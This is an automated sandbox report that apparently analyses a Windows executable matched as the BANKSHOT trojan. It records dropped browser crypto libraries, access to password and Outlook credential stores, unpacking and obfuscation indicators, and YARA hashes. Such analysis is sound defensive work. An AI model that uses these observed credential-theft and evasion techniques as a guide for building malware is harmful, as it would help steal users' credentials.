Malicious sample detected (through community Yara rule)

Source: 0.2.file.exe.1abbc8.1.raw.unpack, type: UNPACKEDPE

Matched rule: Detects Hidden Cobra BANKSHOT trojan Author: Florian Roth

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C6BB700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BB8C0 rand_s,NtQueryVirtualMemory,	0_2_6C6BB8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C6BB910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C65F280

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00555858	0_2_00555858
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005E799C	0_2_005E799C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00437999	0_2_00437999
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041522B	0_2_0041522B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005602DF	0_2_005602DF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004E52FA	0_2_004E52FA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401373	0_2_00401373
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0055730E	0_2_0055730E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0054EB3B	0_2_0054EB3B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00552322	0_2_00552322
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041F3FE	0_2_0041F3FE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005E2BBC	0_2_005E2BBC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0054B498	0_2_0054B498
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004B2553	0_2_004B2553
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004F0D28	0_2_004F0D28
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0055DE38	0_2_0055DE38
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0049E761	0_2_0049E761
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005597EE	0_2_005597EE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00444F9B	0_2_00444F9B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6535A0	0_2_6C6535A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C665440	0_2_6C665440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C545C	0_2_6C6C545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C542B	0_2_6C6C542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CAC00	0_2_6C6CAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C695C10	0_2_6C695C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A2C10	0_2_6C6A2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65D4E0	0_2_6C65D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C696CF0	0_2_6C696CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6664C0	0_2_6C6664C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67D4D0	0_2_6C67D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B34A0	0_2_6C6B34A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BC4A0	0_2_6C6BC4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C666C80	0_2_6C666C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66FD00	0_2_6C66FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67ED10	0_2_6C67ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C680512	0_2_6C680512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B85F0	0_2_6C6B85F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C690DD0	0_2_6C690DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C6E63	0_2_6C6C6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65C670	0_2_6C65C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A2E4E	0_2_6C6A2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C674640	0_2_6C674640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C679E50	0_2_6C679E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C693E50	0_2_6C693E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B9E30	0_2_6C6B9E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A5600	0_2_6C6A5600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C697E10	0_2_6C697E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C76E3	0_2_6C6C76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65BEF0	0_2_6C65BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66FEF0	0_2_6C66FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B4EA0	0_2_6C6B4EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BE680	0_2_6C6BE680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C675E90	0_2_6C675E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C669F00	0_2_6C669F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C697710	0_2_6C697710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65DFE0	0_2_6C65DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C686FF0	0_2_6C686FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A77A0	0_2_6C6A77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69F070	0_2_6C69F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C678850	0_2_6C678850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67D850	0_2_6C67D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69B820	0_2_6C69B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A4820	0_2_6C6A4820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C667810	0_2_6C667810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67C0E0	0_2_6C67C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6958E0	0_2_6C6958E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C50C7	0_2_6C6C50C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6860A0	0_2_6C6860A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66D960	0_2_6C66D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AB970	0_2_6C6AB970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CB170	0_2_6C6CB170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67A940	0_2_6C67A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65C9A0	0_2_6C65C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68D9B0	0_2_6C68D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C695190	0_2_6C695190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B2990	0_2_6C6B2990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C699A60	0_2_6C699A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C671AF0	0_2_6C671AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69E2F0	0_2_6C69E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C698AC0	0_2_6C698AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6522A0	0_2_6C6522A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C684AA0	0_2_6C684AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66CAB0	0_2_6C66CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C2AB0	0_2_6C6C2AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CBA90	0_2_6C6CBA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66C370	0_2_6C66C370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C655340	0_2_6C655340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69D320	0_2_6C69D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C53C8	0_2_6C6C53C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65F380	0_2_6C65F380

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C68CBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 001845C0 appears 316 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C6994D0 appears 90 times

Source: file.exe, 00000000.00000002.2300775299.000000006C8D5000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.2.file.exe.1abbc8.1.raw.unpack, type: UNPACKEDPE

Matched rule: HiddenCobra_BANKSHOT_Gen date = 2017-12-26, hash5 = ef6f8b43caa25c5f9c7749e52c8ab61e8aec8053b9f073edeca4b35312a0a699, hash4 = daf5facbd67f949981f8388a6ca38828de2300cb702ad530e005430782802b75, hash3 = b766ee0f46c92a746f6db3773735ee245f36c1849de985bbc3a37b15f7187f24, hash2 = 8b2d084a8bb165b236d3e5436d6cb6fa1fda6431f99c4f34973dc735b4f2d247, hash1 = 89775a2fbb361d6507de6810d2ca71711d5103b113179f1e1411ccf75e6fc486, author = Florian Roth, description = Detects Hidden Cobra BANKSHOT trojan, hash9 = 6db37a52517653afe608fd84cc57a2d12c4598c36f521f503fd8413cbef9adca, hash8 = 3e6d575b327a1474f4767803f94799140e16a729e7d00f1bea40cd6174d8a8a6, hash7 = ec44ecd57401b3c78d849115f08ff046011b6eb933898203b7641942d4ee3af9, hash6 = d900ee8a499e288a11f1c75e151569b518864e14c58cc72c47f95309956b3eff, reference = https://www.us-cert.gov/HIDDEN-COBRA-North-Korean-Malicious-Cyber-Activity, license = https://creativecommons.org/licenses/by-nc/4.0/

Source: file.exe

Static PE information: Section: aaymnagk ZLIB complexity 0.9949633314648729

Source: file.exe, 00000000.00000003.2075701252.0000000005080000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/23@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6B7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C6B7030

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00199600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00199600

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00193720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00193720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\UDN3FAS4.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2300635632.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2288036029.000000001D796000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2300071121.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2300635632.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2288036029.000000001D796000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2300071121.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2300635632.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2288036029.000000001D796000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2300071121.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2300635632.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2288036029.000000001D796000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2300071121.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2300635632.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2288036029.000000001D796000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2300071121.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2300635632.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2288036029.000000001D796000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2300071121.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.2288036029.000000001D796000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2300071121.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2151602717.000000001D694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2165479257.000000001D6B0000.00000004.00000020.00020000.00000000.sdmp, HDAKJDHIEBFIIDGDGDBA.0.dr, DGCAAFBFBKFIDGDHJDBK.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2288036029.000000001D796000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2300071121.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2288036029.000000001D796000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2300071121.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1868800 > 1048576

Source: file.exe

Static PE information: Raw size of aaymnagk is bigger than: 0x100000 < 0x1a2200

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2300635632.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2300635632.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.180000.0.unpack :EW;.rsrc :W;.idata :W; :EW;aaymnagk:EW;pkijywez:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;aaymnagk:EW;pkijywez:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00199860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00199860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1d1f65 should be: 0x1ce95b

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: aaymnagk
Source: file.exe	Static PE information: section name: pkijywez
Source: file.exe	Static PE information: section name: .taggant
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00555858 push edx; mov dword ptr [esp], 4D2E3BD1h	0_2_0055585C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00555858 push eax; mov dword ptr [esp], 190C5912h	0_2_00555878
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00555858 push 143E4BA8h; mov dword ptr [esp], esi	0_2_0055589B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00555858 push 69CCDCDDh; mov dword ptr [esp], edx	0_2_00555953
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00555858 push esi; mov dword ptr [esp], ebp	0_2_005559BC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00555858 push 7AE333A2h; mov dword ptr [esp], ecx	0_2_00555A01
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00555858 push 5CF2D3C8h; mov dword ptr [esp], eax	0_2_00555A32
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00555858 push 50A56414h; mov dword ptr [esp], eax	0_2_00555AA8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00555858 push ebx; mov dword ptr [esp], eax	0_2_00555AB8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00555858 push 7BDE8274h; mov dword ptr [esp], ecx	0_2_00555B21
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00555858 push ecx; mov dword ptr [esp], ebx	0_2_00555B79
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00555858 push eax; mov dword ptr [esp], 4FBCE548h	0_2_00555B8B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00555858 push ebx; mov dword ptr [esp], eax	0_2_00555BA6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00555858 push edx; mov dword ptr [esp], edi	0_2_00555BFD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00555858 push edi; mov dword ptr [esp], 4D8B9CE9h	0_2_00555C0F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00555858 push 3EBA9D69h; mov dword ptr [esp], ecx	0_2_00555C66
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00555858 push 51ADC9B2h; mov dword ptr [esp], esi	0_2_00555CFA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00555858 push ebx; mov dword ptr [esp], ecx	0_2_00555DE1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00555858 push 29B45942h; mov dword ptr [esp], eax	0_2_00555E0C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00555858 push edx; mov dword ptr [esp], 4FCDFFD7h	0_2_00555E70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00555858 push ebp; mov dword ptr [esp], 20D2C145h	0_2_00555E85
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00555858 push edi; mov dword ptr [esp], edx	0_2_00555EC2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00555858 push 3DF3E807h; mov dword ptr [esp], edx	0_2_00555EDF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00555858 push esi; mov dword ptr [esp], edi	0_2_00555F1A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00555858 push ecx; mov dword ptr [esp], ebx	0_2_00555F2C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00555858 push eax; mov dword ptr [esp], ebx	0_2_00555F5C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00555858 push 72AD2100h; mov dword ptr [esp], edi	0_2_00555F82
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00555858 push 1B407995h; mov dword ptr [esp], ebp	0_2_00555FC5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00555858 push edx; mov dword ptr [esp], 56AF9130h	0_2_00555FDB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00555858 push ebp; mov dword ptr [esp], ecx	0_2_0055609D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00555858 push ebx; mov dword ptr [esp], eax	0_2_00556181

Source: file.exe

Static PE information: section name: aaymnagk entropy: 7.954427573511867

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
